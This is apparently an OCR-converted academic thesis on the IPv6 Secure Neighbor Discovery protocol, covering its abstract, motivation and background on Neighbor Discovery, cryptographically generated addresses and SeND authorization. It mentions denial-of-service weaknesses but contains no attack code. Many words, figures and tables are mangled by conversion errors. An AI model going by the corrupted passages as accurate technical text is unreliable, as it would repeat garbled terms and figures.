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ABSTRACT

The DoD is expected to transition to IPv6 netwogkwmithin the next few years.
The IPv6 Neighbor Discovery Protocol is responstbleautoconfiguration and neighbor
address resolution which establishes hosts on #¢twonk and allows communication
between hosts. IPsec, the default security mesimarior IPv6, does not allow for
automatic protection of the autoconfiguration pssceThus, the Secure Neighbor
Discovery Protocol (SeND) was created. SeND usegtGgraphically Generated
Addresses (CGA) and asymmetric cryptography asstline of defense against attacks
on integrity and identity. It claims to achieve tual authentication of hosts and routers
without the need for a Certification Authority (CA)This thesis evaluates this claim by
building a test-bed of SeND enabled hosts. The mfadings include: (i) SeND does
not really offer mutual authentication without a Ga#ad (ii) SeND is susceptible to CPU
exhaustion attacks.
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INTRODUCTION

A. MOTIVATION

The DoD expects to transition to IPv6 networkinghwi the next few years.
IPV6 is a suite of protocols designed to replacatwhost of us know as the Internet. The
sheer scale and complexity of these protocols kbaused the dates of transition to have
come and passed, as the people and the infras&uate not ready for the implications.
IPv6 is a complete redesign focusing on eliminatimg weaknesses of its predecessor,
IPv4. This thesis concentrates on a protocol émusng the Neighbor Discovery (ND)
protocol. ND’s main functions are autoconfiguratend neighbor address resolution [1].
The first allows a new host on the network to abtan address to use, as well as an
address of a router to be able to reach hostsdeutsi its network. Neighbor address
resolution is responsible for identifying other tsosind their addresses on the local
subnet. ND is every computer’s first step on tlag/ o full connectivity.

IPsec, the native security mechanism for IPv6, doess allow for automatic
protection of the autoconfiguration process [2]hu3 the Secure Neighbor Discovery
(SeND) protocol was created. SeND uses Cryptograjyh Generated Addresses
(CGA) [3] and asymmetric cryptography as a firsteliof defense against attacks on
integrity and authentication. SeND claims to milyuauthenticate hosts and routers
without the need for a Certification Authority. i§hthesis empirically studies the
veracity of this claim by examining the underlyipgptocols, software, and cryptography
involved, as well as their practical considerations

The Basic Security Theorem of Bell-LaPadula [4jesahat in order for a subject
to be considered secure, it must be secure imitial istate, and perform transformations
only from one secure state to another. This isrg general principle, but when applied
to a computer network, it implies that secure hostst communicate only with other
secure hosts, or there is a potential for breakimgy sequence of secure states by

communication with an insecure, potentially hostitest. The challenge particular to the



ND protocol is that when a host first joins a negtwork, it does not know who all the

other nodes are, or how to judge the integritytbEohosts.
B. SCOPE OF THESIS

The primary focus of this thesis is to verify theagibility and security of a
widespread SeND deployment on Local Area NetwoklsN). To achieve the goal of
this thesis, a small LAN must be deployed using mam hardware and software,
simulating a typical deployment scenario. The amhailable SeND implementation is
still in early stages of development, and workslesieely with Linux 2.6 or FreeBSD
5.4 and later, thus both of these operating systanst be involved in this experiement.
There is also a Java implementation called JSeNBaurceForge but no code has been

released and the project website is empty, sugmeatdefunct project.

SeND has two main modes of operation: the true-zenfiguration mode, and
mode in which trust is distributed in a delegatestdrchical structure using either
certificates, or a root trust concept. The latterde has not been investigated in greater
depth in this research, as it diverges from a phogan intervention free--
autoconfiguration. More importantly, the secuptpblems discussed in this thesis exist

under both modes of operation.
C. RESEARCH QUESTIONS

The two main documents about SeND, [2] and [3]edld statements about
proof-of-identity and proof-of-possession of thévate key. Is SeND a true solution to
these problems? Is the combination of hashing asyinmetric cryptography a valid
mechanism to provide authentication and integrittha packet level? How practical is
SeND in the simulated environment? Is SeND a im@ovement in security over the
regular ND protocol? This thesis addresses thasestgpns through a series of

experiments with a simple SeND test bed.



D. ORGANIZATION OF THESIS

SeND is a difficult protocol to understand. A fémndamental networking and
security related concepts must be explained inrdalenderstand SeND. Chapter Il will
begin with a discussion of the IPv6 basics, and lilog old IPv4 address resolution
schemes were re-implemented to fit the new addrgssnd organizational paradigms.
Then we will take a look at what makes ND an imgortstep in the lifetime of a host on
an IPv6 network, and what problems have been enemd already. Then we will
explore how SeND proposes to deal with these pnafleWith theory out of the way, in
Chapter Il we can discover how SeND works on & metwork, and what old problems
can be considered solved. Chapters IV and V aneeroed with experiments exploring
the finer details of SeND, and finding new weakesssEventually we will demonstrate

a proof of concept attack by turning the new seg@aiigmentations against the protocol.
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[I.  BACKGROUND

In this chapter, we will first briefly touch upomé& most widespread way of
autoconfiguration in IPvd—Dynamic Host Configuratiérotocol (DHCP) [5]. The
problems stemming from the design of DHCP will Ut understand the design goals
behind autoconfiguration protocols of IPv6. Aftemtroducing both the addressing
schemes of IPv6 and the ND protocol, we give amoee of the Secure Neighbor

Discovery (SeND) protocol.
A. IPV4 AUTOCONFIGURATION

On a traditional IPv4 network, a host by itself slo®t get assigned an IP address.
Every networking interface has to have an addressually assigned by a human, or
retrieved from the DHCP daemon. DHCP, while nob#icial part of the TCP/IP suite,
has become ae facto standard, and is enabled by default in just at@umodern
operating systems. The initial DHCP exchangea#tdia broadcast/response mechanism.
At the beginning, a DHCP client does not yet havdRaaddress and does not know the
IP address of any DHCP servers. The client seldlid@PDISCOVER broadcast with a
source IP address of 0.0.0.0 and the destinatidreas of 255.255.255.255. The server
responds to the MAC address of the DHCPDISCOVERI®sr with a DHCPOFFER
message including parameters like the IP addredssalbnet of the proposed lease, the
length of the lease, and the real IP address of DRECP server. There is no
authentication on either end, and as such, it &y ¢a operate rogue DHCP servers,
propagating misinformation to clients.

Address resolution in IPv4 is about determining ritexdia access control (MAC)
or “physical” address of a host given the host'satfiress, and it is required only when
the target host is within the same subnet as théese It operates as follows. The sender
broadcasts an Address Resolution Protocol (ARP)bféhndcast to the entire subnet,
asking, "Who is 1.2.3.4? Tell 5.6.7.8." The AR#ver of the target system which has
the I[P address of 1.2.3.4 forms an ARP responseh, witl.2.3.4 is

5



AA:BB:CC:DD:EE:FF", where AA:BB:CC:DD:EE:FF is th&MAC address of that
computer. This packet is sent unicast to the addoé the computer sending the ARP
query (in this case 5.6.7.8). Since the originadrg also included the MAC address of
the requesting computer, further address resolusiamnecessary. On the picture below
we see a typical packet exchange with a ping comdntaggering an ARP broadcast-

reply sequence before the actual ping can commence.

Justshind ping, sysa | local Ternote
cornputer cornputer
A ¥ F
Ping program

sends ICMP echo arp requests
request packet T the destination
hardware address
arp WAe-2F sysa el em pe

LTp seTrer

IZMF packet is repliss

quened until
hardware addre sz
cah be resolved

atp sysa iy 08:00:20:1b:dd 20

Iomp ecfio-reque st sysa

ICHIF echo
seIVer Ieplies
icmpecho-repl em e

VAW

a
Figure 1. Typical ARP packet exchange. From [7]

B. IPV6 AUTOCONFIGURATION

IPv6 replaces ARP and DHCP with a mechanism comlpldtuilt into the IPv6
specifications, thus no longer needing any spataaimons or extra configuration from
administrators. This mode is called statelesscaumiiguration. There is also a stateful
autoconfiguration mechanism called DHCPv6, busitmore of an extension of the old
protocol, and thus not a focus of this thesis. o&ahfiguration is an integral part of IPv6.
In order to understand the subtleties, we will emie IPv6’s new approach to
addressing, multicasting, Neighbor Discovery, andnéually explore in detail ND’s
secure augmentation, SeND.



1. IPv6 Addressing Schemes

The most visible change distinguishing IPv4 from@ks the addressing [8]. The
expansion from 32- to 128-bit addresses changeswtne we use and think of IP
addresses. In IPv4, all 32 bits of an addressised for actual enumeration of hosts on
the network. Most of the time, we split these ¥2dunldresses into network and host
portions with subnetting for ease of network mamageat, but ultimately all the bits are
used for host enumeration. In IPv6, with a masd®8 bits of addressing space at our
disposal, it is possible to sacrifice some of tldgrassing space for the sake of
management, readability, features, and extra fanatity.

The mechanism explored and exploited in this theaigoconfiguration, is
another huge change. IPv6 designers’ goal is talbe to attach a computer to a new
network and have it automatically obtain all thtormation needed for full connectivity.
To achieve this, the entire notion of how autoogunfation is done needed to be
rethought. Achieving the new goal of zero-confagion seems to have played a great
role in forming the design for IPv6 addressing asllvas the general idea of how
networks should be topographically organized. @leaddressing schemes and a heavy
use of multicasting are the basis for autoconfigonain IPv6. To see how all these
goals were achieved, we should start by takingief bwok at how autoconfiguration
works in IPv6.

At the onset of the autoconfiguration process iw|Pa host does not gain an
address beyond loopback, and does not know anytlibgut its neighbors or
neighborhood. Hosts are limited to what they caimieve with ARP broadcasts, thus
severely limiting their initial connectivity. Comper scientists often introduce a layer of
abstraction when facing a design pattern wherelgecbis not always there, but must
always be accounted for. In this case the IPvGgdess solved the limited initial
connectivity problem by giving each active netwankerface a default IPv6 address
called the link-local address. This address i/ fitinctional within the local segment.
Hosts can use this address to communicate withr dibsts on the same network

segment, but routers are prohibited from forwardamy packets with a link-local

7



address. This special address is a stepping sbovagd full inter-network connectivity.
Let’s take a closer look at the creation of suctaddress. The 128-bit address consists
of two 64-bit portions: a special link-local pref{fFE80::/10) and an Extended Unique
Identifier (EUI-64) interface identifier.

0 8 16 24 32 40 48
48-bit IEEE 39 AT 94 07 CB Do
802 MAC
Address | 00111001 (10100111 10010100 | 00000111 11001011 | 11010000

- Organizationally Unique '

Identifier (OUI) Device Identifier

0 8 16 24° 3 40 48 56 .64

1. Split MAC Address | 00111001 10100111 (10010100 00000111 { 11001011 | 11010000

2. Add "FFFE" Bit Pattern

To Middie 16 aits |90111001110100111]10010100| 11111111} 11111110 | 00000111 { 11001011 | 11010000

3. Change Bt 7 Te "1 [ 00111011 (10100111 | 10010100 | 11111111 | 11111110 | 00000111 { 11001011 | 11010000

Wodified EUS4 identifier 35 AT 04 FF FE o7 CB 0o

In Hexadecimal Notation

IPvE Identifier In Colon JBAT:94FF:FEOT-CBDO

Hexadecimal Notation

64-Bit IPvé Modified EUI-64 Interface Identifier

Figure 2. Converting a MAC address into EUI-64 Interface Idertifier. From [9]

As we can see in the picture above, EUI-64 is a Madi@ress, slightly modified
for the needs of IPv6 addressing. The two 24-&ivéds of the MAC address are split and
the middle 16 bits are filled with FFFE. Th8 Bit of the interface identifier signifies
whether the address is global (0) or local (1).e B bit is called the group bit; and it
signifies whether the address is unicast (0) orticagdt (1). These bits can change the
first 24 bits of a MAC address, also referred tdhees Organizationally Unique Identifier
(OUI. Once the EUI-64 is constructed, it is dttaa to the end of the link-local prefix.

8



The example in the picture above results in
FE80:0000:0000:0000:3BA7:94FF:FEQ7:CBDO0. This iegal link-local address for a
network card with MAC of 39:A7:94:07:CB:DO. A feMundamental differences
between a link-local address and the IPv4 localklostild be noted:

. Every network card will be set to the same linkaloaddress regardless of
the network location, but unique to each MAC adsligssigned to the network interface.

. It will always be the same address, and as suithdsable.

. The IPv6 local address is fully functional withits inetwork; you can
communicate with it from other computers, unlikelRv4 localhost counterpart.

. Assuming that the MAC address has not been repmogead, EUI-64 and
thus the link-local address are automatically uejcu benefit of starting with naturally
unique MAC addresses. This guarantees no addo#issons.

. The entire process occurs without any communicatiwith other hosts,
thus it has not leaked information to every hostrensegment.

. Hosts with link-local addresses are able to comweatri with other hosts

on the segment with zero human interaction beyordbleng IPv6 networking.

One should think of the link-local address as atiaindefault address. A host
gains a legal, fully functional, collision-free adds on a network segment, and thus can
establish connectivity with other hosts on the ek One downfall of this approach is
that the one-to-one mapping between the MAC ankl lacal addresses. If a host
continues using a link-local address, the IP isnaerently bound to this computer, and as
such can be easily identified and tracked. To stimgis a management feature; to
others it is a loss of privacy, and a potential reeuof information leakage. Such
concerns can be addressed with Cryptographicallye@¢ed Addresses, which we will

discuss in later sections.

Routers follow a very similar routine when estdtilig themselves on the
network. The difference is that they do not pgstte in the autoconfiguration process.

Routers use the link-local address as an identifiet must have at least one valid,



unique, routable IP per interface. They also aatdrally join an all-routers multicast

group (FF02::2) and enable packet forwarding.

Since a router is naturally multi-homed, it must age of its link-local addresses
as its identifier, or every interface would repliffetently, causing confusion on the
network. Upon receiving a Router Solicitation (R®)m a host, routers send out Router
Advertisement (RA) messages with their FE8B0:: asklteecause regardless of how many
interfaces and prefixes a given router serves, it announce itself with only one
address. Since the FE80:: addresses are notedtéelany particular interfaces, routers
must know the correct interface to direct the p&ke. Using the link-local address as
both identification and a pseudo-interface at t#aes time is a peculiar solution, but it is

reliable and accepted by all IPv6 implementations.

It is common to have multiple valid addresses othddetwork Interface Card
(NIC) in IPv6. For example, link-local, assigneniaast, solicited-node multicast, and
all-nodes multicast addresses are automaticallypddoo interfaces. Despite the ability to
be identified by many IP addresses, the host pteséself with just one link-local
address.

A special multicast address worth mentioning in tomtext of this thesis is
FF02:0:0:0:0:1:FF00::/104. This multicast grouga#led the solicited-node address, and
it is conceptually closest to IPv4’s ARP broadaasti It is created by attaching the last
six bytes of the MAC address to the FF02::1:FF/p@fix. For example, the solicited
node multicast address corresponding to the IPwBead 4037::01:800:200E:8C6C is
FF02::1:FFOE:8C6C. To perform Duplicate Addresgebeon (DAD), every address

has a special corresponding multicast address [10].

When a host first creates a tentative IPv6 addréssust detect and resolve
address collisions on the subnet. DAD is the ea# turning a tentative IPv6 address
into a verified one. This procedure is achievedsbyding a Neighbor Solicitation (NS)
message to the solicited-node multicast of theetamgdress [10]. While the main source
IPv6 address is set to unspecified (::), the patkapecially crafted with the tentative

IPV6 in the target field. Each interface on thgnsent must receive and process packets
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sent to the all-nodes multicast or solicited-noddticast of the tentative address. The
requesting node must not respond to its own N& fientative address. To send an NS,
the querying interface must both join the all-noded solicited-node multicast groups of
the tentative address. The solicited-node multigasup allows reception of an NA
packet from address colliding hosts; it also alltwws nodes to detect the use of the same
address by another host on the network. When lgsioal occurs, the host with an
established, non-tentative address sends back am&s&age to the requestor’s solicited-
node address announcing the collision. If a doliss detected, the host will perform
DAD up to two more times, after which a warning mioe written to the system log and
the interface attempting to autoconfigure shouldlisabled. If collision is not detected,
the address in question is considered unique amdsigned to the interface. This is the

autoconfiguration portion of the protocol.

When a host receives a Router Advertisement (usitadi or as a result of Router
Solicitation), it proceeds to create an IPv6 adsleggpropriate for the advertised network
prefix. This address is created by attaching thesdised prefix to the EUI-64 Interface
Identifier already used in the link-local addressDue to the earlier uniqueness
verification of the EUI-64 as a part of the linkchd address, it is also considered to be
unique for the routable address. There is no he@eérform another DAD exchange, but
it is optional. At this moment in the host’s lifés interface contains both the link-local

and the routable addresses.

The next step for the host is to obtain informatabout its neighbors through
Neighbor and Router Discovery.

2. Neighbor Discovery

Neighbor Discovery (ND) is one of the most impottamctions of ICMPv6. As
an ARP replacement, it is responsible for findinlgeo hosts on the segment. Regular
ND specifications do not include any security psoas. Nodes can make any claims
about who they are, as long as they belong toitfe multicast group. Most multicast

group memberships are assigned automatically, aititowt any human intervention
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needed.

In IPv6, a host automatically gains sonlgges when it has an address.

Therefore, the security design for IPv6 is basedenom the networking topography than

a logical set of privileges and limitations:

considered a potential attacker, but insider tisraet not considered.

evang outside the security perimeter is

ND messages are implemented as a set of ICMPv6sTgpd Options, like

redirection or a ping service.

allowing to extend ICMP’s functionality.

ICMPV6’s Optionldig11] provides a generic interface
For expla, Source Link Layer Address

(SLLA) is an option type 1 and Target Link Layerdxdss (TLLA) is an option type 2.

Many more options will appear in the secure versibtine ND protocol.

D

D

Message Goal ICMP Sender Receiver Options
Name Code
Router Request routers 133 Nodes All routers Source Link-
Solicitation to return RA (multicast) Layer address
(RS) information
Router Advertise 134 Routers|  When solicited;] Source Link-
Advertisement| autoconfiguratio Sender of RS | Layer address
(RA) n parameters: (unicast) MTU
Default Router Prefixes
On-link prefixes When unsolicited: Routes
Reachable All nodes Advertisemen
prefixes (multicast) t Interval
Other operation
parameters
Neighbor Request the link: 135 Nodes | Solicited Node ar Source Link-
Solicitation layer address of Target Node | Layer address
(NS) a target node
Neighbor Response to NA 136 Nodes Sender of NS of Target Link-
Advertisement| Advertise link- all nodes Layer address
(NA) layer address (multicast)
changes

D

Table 1.

ICMPV6 codes, names and endpoint functionality. Fro [10], [11]

As mentioned before, the traditional broadcast@asp exchanges can lead to a
huge information leak, e.g., involuntarily updatiegerybody on the local network about

hosts coming online or requesting connectivity pecsfic hosts. IPv6 addressed this
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issue by replacing the entire mechanism with a oew, based on ICMPv6 packets
multicast to specific addresses. This was a ssgamaption when the LAN was clearly
delineated from the WAN and everyone on the inteme&work could be trusted. Today,
we cannot assume that being on the same netwotk atiter hosts means they are
trustworthy. Rogue wireless access points, tungelextranets, and VPNs potentially
put us on the same network with hosts over whormhaxee no control, and there is no

verification of their identity or integrity of opations.

One of the most common assumptions about IPv6as ithis designed to be
secure. Such assumptions are a result of incdipgréPsec Authentication Headers into
the IPv6 protocol suite, as opposed to IPv4 wheeet is a separate system. While this
is true, IPsec itself has many problems, mostlynsteng from the nature of the
asymmetric key cryptography it uses [12], [13]. r Ezample, the implementation of a
process responsible for securely transporting tbgs khas eight different modes of
operation. Some key exchanges can be done autathgtiothers must have a manual
element. One of the goals of autoconfiguratiortoishave the entire process occur
automatically and without any human interactionhe Tautomatic key exchanges can
occur only between hosts with already establishBd6 1 addresses. This thesis
concentrates on the earliest stages of a host'spiein, when a host does not yet have a
valid address, and is trying to establish itseltloe new network. In such a case, IPsec is
not capable of performing an automatic key exchantpgis requiring manual
configuration. This is the main motivation behinckating an entirely new way of
protecting the autoconfiguration.

3. Secure Neighbor Discovery

The Secure Neighbor Discovery (SeND) protocol [2],proposes to address the
insider threats discussed above. The main ideandeBeND is to use asymmetric
cryptography to enforce authentication and intggntithout changing the zero

configuration paradigm of the regular ND protocol.
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ICMPV6 SeND
IPv6
ETHERNET
Figure 3. Logical placement of SeND in IPv6.

IPsec is supposed to be the solution to IP protbaséd security needs, but it
faces many practical problems, such as the inkigl distribution [12]. Internet Key
Exchange (IKE) is an implemented infrastructureupport IPsec’s needs for transport of
keys, but it requires IPv6 connectivity to work. hil¢ this is a reasonable requirement
for regular traffic, it is unusable when performiagtoconfiguration. Thus, the security
of autoconfiguration must be done outside of tHeiafly supported IPsec infrastructure.
Usually, the verification of another host’s autheity requires a highly secure central
Certification Authority (CA). SeND attempts to aslish authenticity without the CA
[14], [15].

A major question associated with using asymmetgptography is how to obtain
another host’s public key in an authenticated mann8ecure Socket Layers (SSL)
protecting the web traffic is an example of a dolutimplementing large distributed-
security hierarchy among an uncontrollable numbiecamputers with unpredictable
integrity. Certificates for a small number of rd@ertificate Authorities are distributed
with the browsers, allowing sites using these seteccompanies to verify their
certificates with no required interaction on thienf’'s side. There is a twofold problem
in bringing a similar approach to protecting lowmtworking layers as a part of IPv6
security. The first problem is that of momentubinlike enhancements of the Web, IPv6
networking has no appeal to a regular user, asei$ thot provide any instantly observable
improvements. IPv6 is still very new and esoteliy6-aware software is still scarce.
Without a major commercial demand, CA’s will nobpide certificates to a small project
like the SeND protocol implementation. The secprablem is a major paradigm shift.

14



Asymmetric cryptography has been historically usegrotect data, by working at the
highest layers of the OSI model. SeND uses asynunetyptography at the lower
layers, which is a very novel idea. Therefore, ol different approach to the public
key exchange and mutual authentication was condeive

SeND, since it is an augmentation of the ND protoalso encodes its messages

in ICMPv6by creating a few new Option Types shasetbng the already existing ND

messages. For example, a regular Neighbor Sdiamitanessage can be augmented with
CGA, RSA, Timestamp, and Nonce options, creatin§edlD packet. Here are the
Options important to this project:

Option Type Description
1 Source Link Layer Address
2 Target Link Layer Address
11 Cryptographically Generated Address
Option
12 RSA Signature Option
13 Timestamp Option
14 Nonce Option
15 Trust Anchor
16 Certificate Option

Table 2. ICMP Option Types.

SeND can use third parties as verifiers of hostshtity claims. This process is
referred to as the Authentication Delegation DigrgV2]. To begin such a process, a
host needs to know a Trust Anchor to confirm thgivan router is authorized to perform
router duties. This is a feature without a coroesling ND function, and to

accommodate it the SeND protocol implements two FEMPv6 Message Types:

15



Message Name Goal ICMP| Sender Receiver Options
Code
Certification Request 148 Nodes All routers (multicast), o Trust
Path Solicitation| Certification Solicited Node (multicast)) Anchor
(CPS) Path to the or host’'s default router
Trust Anchor
Certification | Aresponsetqg 149 Routers| When solicited: Sender of Certificate,
Path Certification RS (unicast) Trust
Advertisement Path - Anchor
(CPA) Solicitation When unsollc:l.ted:
All Nodes (multicast)

Table 3. SeND related ICMPvV6 codes.

Two new Options also further expand SeND’s funaldy. The Trust Anchor and The
Certificate Option must contain a DER Encoded X.30dme, or a Fully Qualified
Domain Name [16].

a. Cryptographically Generated Address (CGA)

A CGA can be used either as a name for a Cryptbigally Generated
Address, or the ICMPv6 Option. Both are at thenftations of SeND, but in this section
we are concerned with the first meaning. CGA lolbks a regular IPv6 address with
two 64-bit portions. The first 64 bits are thewnatk prefix portion, announcing the
subnet number. The second portion is the Interfdeatifier, which is derived using a

SeND specific process. This process will be exygldiin more detail in the next section.

sec| sed se¢ 1 (]
0 63| 64 | 65| 66| 67| 68 69 7( L e . 1p7
Network Prefix Interface Identifier

Figure 4. Top level view of CGA.

The fact the CGA is a result of a hash functionegdsvo problems. 64 bit
hash tables are not big enough to be unbreakabladdern computers, and it will only

get worse with time. SeND overcomes this limitatiby introducing a 3-bit hash
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extension called the Sec bits, which will be diseasin detail in the CGA generation
section. The second problem is that the hash ifumgenerates a meaningless stream of
characters, while certain bits in the IPv6 addiemge meaning, and therefore the CGA

must be altered to create IPv6 legal address.

In IPv6, bits 7 and 8 of an Interface Identifiee apecial flags. Bit 7
signifies whether the address is universal or |lacal is popularly referred to as the ‘u’
bit. Bit 8 is called the ‘group bit’ as it is St 0 if it is a unicast and 1 if it is a multicast.
Since there should be no global multicast addressesombination of u=1 and g=1
should normally not occur. Tuomas Aura in his “fipgraphically Generated
Addresses” paper proposes we use this previoustiefimed combination to signify
CGAs.

The motivation behind CGA is the ability to binaetpublic key to an IPv6
address. CGA combined with the idea of digitahaigres, allow SeND to claim to solve
the ‘proof of address’ problem. In order to untlemng how all these concepts play a part
in providing authentication, let's analyze the meges of generation and verification of a
CGA address.

b. CGA Generation

A Cryptographically Generated Address appears io places. Most
visibly, it is the Interface Identifier portion dhe full IPv6é address when employing
CGA. Also, itis an ICMPv6 Option 11, which corisisf the following fields:

. Public Key as DER-encoded ASN.1 data structure lé type
SubjectPublicKeyInfo as defined in X.509 certifegirofile [16]

. 128-bit-modifier (arbitrary numbers to increased@amness)

. 64-bit subnet prefix of the address

. 8-bit collision count
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Here is a conceptual layout of the placement dédght fields in the CGA
Option in a SeND augmented IPv6 packet:

IPv6 Version
Traffic class
Flow label
Payload length
Next header
Hop limit
Src addr
Dst addr

ICMPV6 Type
Code
Checksum
Target
ICMPV6 options| Source Link Layer address
CGA Option Public key
Modifier
Subnet prefix
Collision count

Figure 5. Ipv6 packet with a CGA Option.

To generate a CGA, a host must create two hashegsf dlie parameters
delivered in the CGA Option. HASH2 is the leftmdst2 bits of the SHA-1 hash
function run on concatenated fields of the modjfiembnet, collision count, and the
public key, with the subnet and collision field$ sezero. HASHL1 is the leftmost 64 bits
of the SHA-1 hash function run on concatenateddsiedf fully populated modifier,
subnet, collision count, and the public key.

HASHL1 is going to be the Interface Identifier andisihbe modified to
conform to the IPv6 address standards. As we s earlier, the®7and &' bits of

HASH1 must be altered to comply with an IPv6 adsiregs standards.
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There is one more modification made to HASH1. Tiked length of
HASHL1 is dictated by the size of an IPv6 addre3dis limitation has raised many
concerns as with the exponential computing powewdr, creation of the 64-bit hash
lookup table will become trivial. Since IPv6 wass@jned with great care to not be
limited in the future, SeND designers had to sttieeqg the effective bit length of the
hash, while staying within the logistical limitscthted by the IPv6 addressing. A
technique called ‘hash extension’ was employedotaesthis problem. In CGA's it is

called the Security Parameter (Sec), and it ibafitst 3 bits of the Interface Identifier.

64 | 65| 66| 6768|69|70|71|72 127
SEC| SEC| SEC ul g
Figure 6. Full Interface Identifier (with Sec and u/g bits)

When creating HASHZ2, [3] calls for the 16*Sec lefishbits of HASH2 to
be zero. If they are not, increment the value ofadifier by one, hash, and perform the
comparison again until the changes to the modyfieid the desired number of leftmost
zeros in the resulting hash. Incrementing Secrigyards 16 bits to the effective length
of the hash. Since the parameter value is encotiethe address bits, an attacker cannot
change its value without also changing the addrédéste, that using the three Sec bits
and the two u/g bits reduced what started as ait64ASH1 to 59 bits. However, the
effective level of security against pre-generatgalAG attacks is greatly improved, as
with the maximum Sec value of seven, the biggefct¥e hash length increases to
59+16*7=171 bits. It is important to note that eribe address has been created, the cost

of using and verifying a CGA address does not dépenthe value of Sec [3].

C. CGA Verification

The first step of the verification process is tdragt various parameters
from the ICMPv6 CGA Option. HASH1 and HASH2 arenhcalculated according to
the same rules as described in the previous secWdith the exception of thé™7and &'
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bits (universal/global bits) and the first threec $@ts, the leftmost 64 bits of HASH1
should be identical to the Interface Identifier tomr of the IPv6 address. The SeND
daemon then compares the 16*Sec leftmost bits ddHAto zero. If any of these tests
fail the processing of this packet stops immedyadeld the packet is discarded.

If both tests succeed, the public key is boundhto dddress of the IPv6
packet. The verifier knows the public key in th&A Option field comes from the
address the IPv6 packet claims it came from.

This is the first step needed to establish safdigphbivate cryptography

in a system without a Public Key Infrastructure (Pptesent.

d. RSA Digital Signature Option

Once the public key is obtained from CGA Optiorg thceiver can use it
to decrypt messages encrypted with the correspgrativate key. ICMPv6 Option 12
allows us to use RSA digital signatures to esthblamithenticity of such packet
exchanges. Here’s a list of fields contained RS&A Signature option:
. Key Hash—Ileftmost 128 bits of SHA-1 of the publieyk used for
constructing the signature
. Digital Signature—variable length field containiKCS#1 v1.5 [17]
signatures, using the sender’s private key ovesetleatities:
o0 128 bit CGA Message Tag value for SeND.
0 128 bit Source Address from the IPv6 header
0 128 bit Destination Address from the IPv6 header
o0 8 bit Type, 8 bit Code and 16 bit Checksum fielasrf the ICMPV6
header
0 ND protocol message header, starting after the I@MEhecksum,
and up to but not including ND protocol options

o ND protocol options preceding the RSA signatureaopt

The signature is calculated with the RSASSA-PKC$15valgorithm and SHA-1 hash.
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The high number of fields involved and the multifggels of embedding
payloads make it difficult to keep track of whichr{s of the IPv6 packet are protected.
This schematic helps in visualizing what is corgdirwithin the RSA digital signature
option:

IPvE|version

traffic class
flow label
payload length
next header

hop limit DIGITAL SIGMATURE|CGA message tag
source addr —————src IPv6 address
dst addr g =rdst IPvE address

ICMPvE|type . AICMPVE type
code 4 S ICNVPvE code
checksum T HICMPV6 checksum
target

. MND options past
checksum, but
before ND header

regular ICMPvE|Source link "— ]
options|layer address

ICMPvE options|CGA option public key
implementin
P & . . ND options before
SeND modifier ?

RSA signature

subnet prefix

collision count

nonce

timestamp

RSA signature  |key hash
DIGITAL SIGNATURE

Figure 7. RSA Digital Signature contents.

All nodes configured to use SeND must contain aA B&nature option,
alongside the CGA option, except for the case oR& message with an unspecified
source address. All ND messages without the CGARSBA signature options are to be

treated as regular ND.

There is also an option for specifying which authation method a host
would use. If there is a specified option for #reist Anchor, a valid Certification Path
between the receiver’s Trust Anchor and the seagrblic key must be known. Even if
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a Trust Anchor is required, packets still must eamthe CGA option. Any combination

of CGA or Trust Anchor authorization models is aléml, as long there is one [2].
e The Authorization Model

SeND uses CGA and RSA options together to achiexbeatication.
SeND'’s authentication proves only that the ownethefgiven address is in possession of
the claimed IP address and the corresponding priavadl public keys. However, there is
nothing stopping attackers from setting up theinawuter and keys, allowing correct
signing and verifying of all messages. Authentaraty itself cannot prevent spoofing
on a network without media access control. Auttairon must be employed to
discriminate between nodes acting purely as cljeamigl nodes with the rights to serve
other nodes. SeND’s authorization schema diffeaeag only between routers and
clients. All router authorization certificates leathe same level of privilege. However,
with a clever arrangement of multiple trust anchall®wing advertising of distinct
subnets, it is possible to effectively achieve masi levels of authorization on different

routers.

This is where SeND specifications diverge from whas been zero
required preexisting infrastructure, as specifictiteates must be assigned to the
designated routers to assign router roles. Silpjlaosts must have a list of acceptable
Trust Anchors prior to performing autoconfiguratiorWhile currently not a popular
option, SeND software should come with Trust Anehfoom companies like Verisign or
Thawte, just like the common web browsers do. Adstiators could later run their

networks in unauthorized mode, or protect themlbgipg certificates on their routers.

To achieve authorization with a SeND client, therast be a specified
Trust Anchor option. Anchor(s) might be specifaather through the use of a CGA, or a
public-private key pair. If we opt for such anlamization delegation model, there must
also be a certification path.

Router Authorization Certificates contain at lease IP address. Parent

certificates in the certification path should camtat least IP address extensions, all the
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way up to the trusted party that configured thgioal IP range for the router in question.
Certificates for intermediate delegating authositéould contain at least one IP address
extension for sub-delegations. At the end of tlegtiication Path, the router certificate
is signed by the delegating authority for the sulprefixes the router is authorized to
advertise.

All the entries in the certificates are in X.509f@mat [16]. Address
extensions have at least one addressOrRanges eriiach entry must contain an
addressPrefix element containing an IPv6 addresfixprorresponding to the routers or

the intermediate entity authorized to perform nogitiluties.

(ST e

| [ -y
-_— Trust Root

Rogque Router

o

Figure 8. Delegated Authority Model.

Each host receiving a Router Authentication Cedife first checks
whether the certificate’s signature was generatgdhle delegating authority. Then
clients should check if all the addressPrefix aidradsRange [17] entries are a subset of
the delegating authority’s certificate.  Anothereck is performed to see if an
addressPrefix or addressRange is not containednwiitle delegating authority’s range.
The client takes an intersection of the routers @gleégated authority’s subnets. If the

intersection is an empty set, certificate shouldidreored and discarded. With such
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extensive checking of authorizations, the poss$ybitr a fake router to advertise a prefix
while it has no such authorization should be elated.

The entire process of finding authorization delsyet is initiated by a
SeND message called the Certification Path Sdiioita(CPS), and Certification Path
Advertisement (CPA) is its reply. Hosts requesvise from routers that are authorized
for that specific subnet, and the routers send teetificates to the hosts, proving that is

indeed the case.
f. SeND Operation

Now that all major concepts and portions of SeNB explained, let's

quickly summarize the relationship among all thega

The CGA Option delivers a public key from an IPuwideess where the
public key originates. This public key allows tleeipient to verify the digital signature,
effectively verifying that the public key corresgtnto the private key. The IPv6 address
is bound to the public key. The RSA Signature @ptproves that the public key
corresponds to the private key. This binds thep@gyraphically Generated Address and
the two corresponding keys to the same origin. [Beldsigners claim this to be the
solution to the proof-of-address problem withowRkl. Existing PKI implementations
require a functional address to operate, makingCs#i¢ preferred solution. However,
authentication is not the only aspect of securégding to be addressed in this scenario.
Authorization is not addressed by the CGA and R8&lmnation and it does not solve
the rogue router problem. For authorization topesp SeND needs to employ a
Certification Path schema, in which a preexistingowledge of a Trust Anchor
authorizes routers to hosts. Hosts request prioafithorization from routers, and routers
respond with valid certifications. With SeND inapé, all these concerns should be
addressed. Clients should only receive RA mesdagesdesignated routers, and clients

should not be able to send or receive packetsspitiofed IPv6 address.
